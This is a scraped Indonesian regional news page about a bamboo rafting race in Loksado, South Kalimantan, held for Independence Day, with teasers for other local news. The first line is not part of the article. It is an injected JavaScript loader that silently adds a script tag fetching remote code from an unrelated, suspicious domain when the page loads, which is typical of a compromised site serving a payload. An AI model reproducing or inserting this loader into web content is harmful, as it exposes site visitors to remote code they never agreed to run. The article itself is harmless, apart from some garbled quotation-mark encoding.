(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANDANGAN, Bamboo rafting alias rakit bambu dulunya hanya sebagai sarana angkut warga Dayak Loksado yang ingin turun ke Kandangan, ibukota Kabupaten HSS. Nah, sekarang ini sudah berubah menjadi sarana wisata adventure sejenis olahraga arum jeram berkelompok dengan alat yang berbahan dari bambu.
Dalam rangka memeriahkan Hari Kemerdekaan RI ke-73, Kodim 1003 Kandangan menggelar lomba bamboo rafting di wisata alam Loksado, Kabupaten Hulu Sungai Selatan (HSS).
Lomba menyusuri batang sungai Amandit tersebut sangat mengandalkan pada kekompakan tim secara keseluruhan. Kerja sama yang terpadu dan pengertian yang mendalam antar awak perahu, menjadi faktor utama yang menunjang keberhasilan melewati berbagai deras dan jeram di sungai Amandit.
Antusias peserta dalam memeriahkan peringatan Hari Kemerdekaan RI ke 73 tahun dengan tema TNI Bersama Masyarakat wujudkan Loksado sebagai wisata nasional, salah satunya menghias lanting mereka berwarna merah dan putih seperti Sang Saka Merah Putih.
Ya, Bamboo Rafting memang menjadi salah satu wisata andalan di Kecamatan Loksado, Kabupaten HSS. Bedanya dengan perahu yang biasa ditemui adalah medianya menggunakan rakit dari bambu. Rakit bambu yang biasa disebut lanting oleh masyarakat lokal awalnya adalah sarana transportasi bagi warga Dayak di pegunungan Meratus mengangkut hasil perkebunan mereka untuk dijual ke pasar. Mereka memakai rakit bambu ini menyusuri sungai Amandit ke ibukota Kabupaten Hulu Sungai Selatan.
Dengan panjang sekitar 18-25 meter, terbuat dari sekitar 18 hingga 20 batang bambu dijejer dan selanjutnya diikat menggunakan paring atau kulit bambu, menjadikan rakit ini seperti getek yang bisa ditemui di daerah Jawa. Pada ujung depan rakit dibiarkan tidak dipotong, tetapi dibuat menyatu dan meruncing ke atas.
Jarkasih, operator wisata bamboo rafting menegaskan, permainan ini sudah teruji dan aman digunakan walaupun arus sungai Amandit cukup deras.
“Jumlah peserta bamboo rafting terpaksa kami batasi. Padahal yang mendaftar masih banyak lagi, karena joki olahraga wisata susur sungai ini terbatas,†ujarnya.
“Olahraga wisata petualangan sungai kawasan Meratus itu, yang sudah sejak lama terkenal hingga ke manca negara,†lanjutnya.
Peserta bamboo rafting lebih dari 200 orang dari berbagai daerah di Kalsel, bukan saja penduduk “Bumi Antaluddin†HSS sendiri. Bahkan termasuk juga wisatawan dari Perancis. (rico)
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.